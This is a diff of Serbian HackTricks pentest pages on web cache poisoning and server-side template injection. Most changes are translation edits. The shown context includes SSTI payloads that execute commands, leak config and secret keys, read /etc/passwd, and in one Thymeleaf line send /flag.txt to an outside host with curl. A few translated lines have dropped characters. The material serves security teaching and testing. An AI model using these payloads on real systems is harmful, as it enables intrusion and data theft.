{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,7 +21,7 @@ Na ovoj stranici možete pronaći različite varijacije koje možete isprobati d
* **HTTP Header Oversize (HHO)**
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava web server, ali manjom od one koju podržava cache server. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:
Pošaljite zahtev sa veličinom headera većom od one koju podržava web server, ali manjom od one koju podržava cache server. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:
```
GET / HTTP/1.1
Host: redacted.com
@ -29,7 +29,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Character (HMC) & Unexpected values**
Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su `\n` i `\r`. Da bi napad uspeo, prvo morate da zaobiđete keš.
Pošaljite zaglavlje koje sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.
```
GET / HTTP/1.1
Host: redacted.com
@ -45,7 +45,7 @@ Content-Type: HelloWorld
```
* **Unkeyed header**
Neki vebsajti će vratiti kod greške ako **vide neke specifične zaglavlja** u zahtevu kao što je sa _X-Amz-Website-Location-Redirect: someThing_ zaglavljem:
Neki veb sajtovi će vratiti kod greške ako **vide neke specifične zaglavlja** u zahtevu kao što je sa _X-Amz-Website-Location-Redirect: someThing_ zaglavljem:
```
GET /app.js HTTP/2
Host: redacted.com
@ -58,7 +58,7 @@ Invalid Header
```
* **HTTP Method Override Attack (HMO)**
Ako server podržava promenu HTTP metode sa zaglavljima kao što su `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:
Ako server podržava promenu HTTP metode pomoću zaglavlja kao što su `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:
```
GET /blogs HTTP/1.1
Host: redacted.com
@ -66,7 +66,7 @@ HTTP-Method-Override: POST
```
* **Nepovezani Port**
Ako je port u Host header-u odražen u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na neiskorišćeni port:
Ako je port u Host header-u odražen u odgovoru i nije uključen u ključ keša, moguće je preusmeriti ga na neiskorišćen port:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
@ -77,7 +77,7 @@ Cache: miss
```
* **Long Redirect DoS**
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom:
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmerenje da napravi preusmerenje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekeširanog x ključa dobiti odgovor sa greškom:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
@ -106,7 +106,7 @@ Not Found
```
* **Normalizacija putanje**
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju:
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, keš server će URLdecode putanju i sačuvati odgovor za URLdecoded putanju:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
@ -131,18 +131,18 @@ xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Reference
## References
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -0,0 +1,79 @@
# Cache Poisoning via URL discrepancies
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ovo je sažetak tehnika predloženih u postu [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) kako bi se izvršili napadi na trovanje kešom **zloupotrebom razlika između keš proxy servera i web servera.**
{% hint style="info" %}
Cilj ovog napada je da **natera keš server da pomisli da se učitava statički resurs** tako da ga kešira dok keš server čuva deo putanje kao ključ keša, ali web server odgovara rešavajući drugu putanju. Web server će rešiti pravu putanju koja će učitavati dinamičku stranicu (koja može čuvati osetljive informacije o korisniku, zlonamerni payload poput XSS ili preusmeravanje za učitavanje JS datoteke sa napadačeve veb stranice, na primer).
{% endhint %}
## Delimiters
**URL delimiters** se razlikuju u zavisnosti od okvira i servera, utičući na to kako se zahtevi usmeravaju i kako se odgovori obrađuju. Neki uobičajeni delimiters su:
* **Tačka i zarez**: Koristi se u Spring-u za matrične promenljive (npr. `/hello;var=a/world;var1=b;var2=c``/hello/world`).
* **Tačka**: Specifikuje format odgovora u Ruby on Rails (npr. `/MyAccount.css``/MyAccount`).
* **Null Byte**: Skraćuje putanje u OpenLiteSpeed (npr. `/MyAccount%00aaa``/MyAccount`).
* **Nov red**: Razdvaja komponente URL-a u Nginx-u (npr. `/users/MyAccount%0aaaa``/account/MyAccount`).
Drugi specifični delimiters mogu se naći prateći ovaj proces:
* **Korak 1**: Identifikovati ne-kešabilne zahteve i koristiti ih za praćenje kako se URL-ovi sa potencijalnim delimiterima obrađuju.
* **Korak 2**: Dodati nasumične sufikse putanjama i uporediti odgovor servera kako bi se utvrdilo da li karakter funkcioniše kao delimiter.
* **Korak 3**: Uvesti potencijalne delimiters pre nasumičnog sufiksa da se vidi da li se odgovor menja, što ukazuje na korišćenje delimiter-a.
## Normalization & Encodings
* **Svrha**: URL parseri u keš i izvor serverima normalizuju URL-ove kako bi izvukli putanje za mapiranje krajnjih tačaka i ključeve keša.
* **Proces**: Identifikuje delimitere putanje, izvlači i normalizuje putanju dekodiranjem karaktera i uklanjanjem tačaka-segmenta.
### **Encodings**
Različiti HTTP serveri i proxy serveri poput Nginx-a, Node-a i CloudFront-a dekodiraju delimitere na različite načine, što dovodi do nedoslednosti među CDN-ima i izvor serverima koje bi mogle biti iskorišćene. Na primer, ako web server izvrši ovu transformaciju `/myAccount%3Fparam``/myAccount?param`, ali keš server zadrži kao ključ putanju `/myAccount%3Fparam`, postoji nedoslednost.
Način da se proveri za ove nedoslednosti je slanje zahteva URL kodirajući različite karaktere nakon učitavanja putanje bez ikakvog kodiranja i provera da li je odgovor kodirane putanje došao iz keširanog odgovora.
### Dot segment
Normalizacija putanje gde su uključene tačke je takođe veoma zanimljiva za napade na trovanje kešom. Na primer, `/static/../home/index` ili `/aaa..\home/index`, neki keš serveri će keširati ove putanje sa samima sobom kao ključevima dok drugi mogu rešiti putanju i koristiti `/home/index` kao ključ keša.\
Baš kao i ranije, slanje ovakvih zahteva i provera da li je odgovor prikupljen iz keša pomaže u identifikaciji da li je odgovor na `/home/index` odgovor koji je poslat kada su te putanje zatražene.
## Static Resources
Nekoliko keš servera će uvek keširati odgovor ako je identifikovan kao statički. Ovo može biti zbog:
* **Ekstenzije**: Cloudflare će uvek keširati datoteke sa sledećim ekstenzijama: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
* Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter i statičku ekstenziju kao što je zahtev za `/home$image.png` koji će keširati `/home$image.png`, a izvor server će odgovoriti sa `/home`
* **Poznate statičke direktorijume**: Sledeći direktorijumi sadrže statičke datoteke i stoga bi njihov odgovor trebao biti keširan: /static, /assets, /wp-content, /media, /templates, /public, /shared
* Moguće je naterati keš da čuva dinamički odgovor koristeći delimiter, statički direktorijum i tačke kao: `/home/..%2fstatic/something` će keširati `/static/something`, a odgovor će biti `/home`
* **Statičke direktorijume + tačke**: Zahtev za `/static/..%2Fhome` ili za `/static/..%5Chome` može biti keširan kao takav, ali odgovor može biti `/home`
* **Statičke datoteke:** Neke specifične datoteke se uvek keširaju kao što su `/robots.txt`, `/favicon.ico`, i `/index.html`. Što se može zloupotrebiti kao `/home/..%2Frobots.txt` gde keš može čuvati `/robots.txt`, a izvor server odgovara na `/home`.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
@ -35,22 +35,22 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
The payload `{{bad-stuff-here}}` je ubačen u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
The payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja šablonske direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše šablonskim motorom, potencijalno stičući kontrolu nad serverom.
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega s obzirom na kontekst može pomoći u smanjenju rizika od ove ranjivosti.
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u šablone. Implementacija validacije unosa i korišćenje tehnika bega koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
### Detection
Da bi se otkrila Server-Side Template Injection (SSTI), inicijalno, **fuzzing šablona** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u šablon i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
* Izbačene greške, koje otkrivaju ranjivost i potencijalno šablonski motor.
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
* **Plaintext Context**: Razlikovati od XSS-a proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
* Bacanje grešaka, otkrivajući ranjivost i potencijalno šablonski motor.
* Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje drugačije od običnih podataka.
* **Plaintext Context**: Razlikovati od XSS proverom da li server evaluira šablonske izraze (npr., `{{7*7}}`, `${7*7}`).
* **Code Context**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjanje `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
#### Identification Phase
Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u određivanju specifičnog šablonskog motora.
Identifikacija šablonskog motora uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog šablonskog motora.
## Tools
@ -196,7 +196,7 @@ Razmotrite sledeći deo koda, koji bi mogao biti podložan eksploataciji:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
Ovo ukazuje da, ako motor šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -215,7 +215,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
**Obilaženje filtera**
Mogu se koristiti višestruki izrazi promenljivih, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
Više varijantnih izraza može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`.
* Pročitajte `/etc/passwd`
```java
@ -282,6 +282,7 @@ Nova verzija Pebble :
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@ -329,7 +330,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
* `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -385,7 +386,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su upravljani beani) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
* **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
* **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio neometanu interakciju između web sloja i upravljanih beanova, osiguravajući koherentniju strukturu aplikacije.
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
@ -396,7 +397,7 @@ Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpr
### Groovy (Java)
Sledeće zaobilaženje Security Manager-a preuzeto je iz ovog [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Sledeći zaobilaženja sigurnosnog menadžera preuzeta su iz ovog [**izveštaja**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -603,7 +604,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, a koristi XML oznake za deljenje dokumenta na različite delove
> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -621,7 +622,7 @@ Hello {NAME}.<br/>
### Handlebars (NodeJS)
Putanja prolaska (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Putanja prolaza (više informacija [ovde](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
@ -663,7 +664,7 @@ URLencoded:
| | Evaluiraj i renderuj izlaz |
| | Evaluiraj i renderuj HTML kodiran izlaz|
| | Komentar |
| i | Dozvoli kod (onemogućeno po defaultu) |
| i | Dozvoli kod (podrazumevano onemogućeno)|
* \= 49
@ -765,6 +766,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol
{{os.system('whoami')}}
{{os.system('whoami')}}
```
@ -797,6 +799,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
@ -882,7 +885,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
### Mojolicious (Perl)
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Greška`
@ -896,7 +899,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
* `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
* `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-i bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
* `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
**XSS Eksploatacija**
@ -906,9 +909,9 @@ vbnet Copy code
**RCE Eksploatacija**
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći “call” vrednost), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
Za RCE putem SSTI u Go-u, metode objekta mogu se pozvati. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima `System` metodu koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -954,13 +957,13 @@ Ako mislite da bi moglo biti korisno, pročitajte:
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Jinja2 SSTI
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -47,9 +47,10 @@ Ako je Debug ekstenzija omogućena, `debug` oznaka će biti dostupna za ispis tr
</pre>
```
### **Ispisati sve konfiguracione promenljive**
### **Ispis svih konfiguracionih varijabli**
```python
{{ config }} #In these object you can find all the configured env variables
@ -63,15 +64,16 @@ Ako je Debug ekstenzija omogućena, `debug` oznaka će biti dostupna za ispis tr
```
## **Jinja Injection**
Prvo i osnovno, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandbox okruženja, ali su dostupni iz sandboxes**.
Prvo i osnovno, u Jinja injekciji morate **pronaći način da pobegnete iz sandboxes** i povratite pristup redovnom python izvršnom toku. Da biste to uradili, morate **zloupotrebiti objekte** koji su **iz** **ne-sandboxovanog okruženja, ali su dostupni iz sandboxes**.
### Pristupanje Globalnim Objektima
Na primer, u kodu `render_template("hello.html", username=username, email=email)` objekti username i email **dolaze iz ne-sandbox python okruženja** i biće **dostupni** unutar **sandbox okruženja.**\
Pored toga, postoje drugi objekti koji će biti **uvek dostupni iz sandbox okruženja**, to su:
